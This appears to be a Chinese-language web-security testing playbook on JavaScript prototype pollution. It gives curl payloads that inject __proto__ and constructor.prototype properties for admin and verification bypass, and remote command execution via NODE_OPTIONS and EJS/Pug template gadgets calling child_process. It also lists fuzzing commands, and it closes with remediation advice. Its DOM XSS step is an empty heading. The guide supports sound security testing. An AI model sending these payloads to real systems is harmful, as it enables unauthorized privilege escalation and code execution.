| name | exploiting-prototype-pollution-in-javascript |
| description | 检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 JavaScript 原型链污染漏洞(Exploiting Prototype Pollution in JavaScript)
适用场景
- 测试 Node.js 或 JavaScript 密集型 Web 应用程序时
- 评估接受深度合并 JSON 对象的 API 时
- 测试客户端 JavaScript 框架中通过原型链污染的 DOM XSS 时
- 对对象合并/克隆/扩展操作进行代码审查时
- 评估 npm 包中的原型链污染 Gadget 时
前置条件
- 带有 DOM Invader 扩展的 Burp Suite,用于客户端原型链污染检测
- 用于服务器端测试的 Node.js 开发环境
- 了解 JavaScript 原型链和对象继承
- 了解常见污染 Gadget(来源、目标和可利用属性)
- 用于服务器端检测的 Prototype Pollution Gadgets Scanner Burp 扩展
- 用于客户端原型操纵的浏览器开发者控制台
工作流程
步骤 1:识别原型链污染来源
console.log(({}).polluted);
步骤 2:测试服务器端原型链污染
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"status": 510}}'
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
步骤 3:利用客户端实现 DOM XSS
步骤 4:利用服务器端实现 RCE
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
步骤 5:利用实现身份验证和授权绕过
curl -X POST http://target.com/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"verified": true, "emailVerified": true}}'
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"additionalProperties": true}}'
步骤 6:使用自动化工具检测
ppfuzz -l urls.txt -o results.txt
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"toString": "polluted"}}'
核心概念
| 概念 | 定义 |
|---|
| 原型链(Prototype Chain) | JavaScript 继承机制,对象从 Object.prototype 继承 |
| proto | 公开对象原型的访问器属性 |
| 污染来源(Pollution Source) | 允许在 Object.prototype 上设置属性的输入点 |
| 污染目标(Pollution Sink) | 读取被污染属性并执行危险操作的代码 |
| Gadget | 从原型流向危险目标的属性(来源到目标链) |
| 深度合并(Deep Merge) | 可能将 proto 作为普通键处理的递归对象合并函数 |
| constructor.prototype | 访问和污染原型对象的替代路径 |
工具与系统
| 工具 | 用途 |
|---|
| DOM Invader | Burp Suite 内置工具,用于检测客户端原型链污染 |
| Prototype Pollution Gadgets Scanner | 用于服务器端 Gadget 检测的 Burp 扩展 |
| ppfuzz | 自动化原型链污染模糊器 |
| Nuclei | 带有原型链污染模板的基于模板的扫描器 |
| server-side-prototype-pollution | 用于服务器端检测的 Burp Scanner 检查 |
| ESLint security plugin | 代码中原型链污染模式的静态分析 |
常见场景
- 通过分析脚本的 DOM XSS — 污染 transport_url 属性,通过读取 URL 原型的分析跟踪脚本注入 JavaScript
- 通过模板引擎的 RCE — 利用 EJS/Pug/Handlebars Gadget 通过被污染的模板渲染属性执行任意命令
- 管理员权限提升 — 污染 isAdmin 或 role 属性以绕过 Node.js 应用程序中的授权检查
- JSON 模式绕过 — 污染模式验证属性以绕过输入验证并注入恶意数据
- 拒绝服务 — 污染 toString 或 valueOf 以在对象强制转换为原始类型时导致应用程序崩溃
输出格式
## 原型链污染评估报告
- **目标**: http://target.com
- **类型**: 服务器端原型链污染
- **影响**: 通过 EJS 模板 Gadget 实现远程代码执行
### 发现
| # | 来源 | Gadget | 目标 | 影响 |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | 模板渲染 | RCE |
| 2 | POST /api/profile __proto__ | isAdmin 属性 | 认证中间件 | 权限提升 |
| 3 | URL ?__proto__[innerHTML] | innerHTML 属性 | DOM 写入 | 客户端 XSS |
### 修复建议
- 对配置对象使用 Object.create(null) 而不是 {}
- 使用 Object.freeze(Object.prototype) 冻结 Object.prototype
- 清理用户输入中的 __proto__ 和 constructor 键
- 对用户控制的数据使用 Map 而不是普通对象
- 更新易受攻击的 npm 包(lodash、merge-deep 等)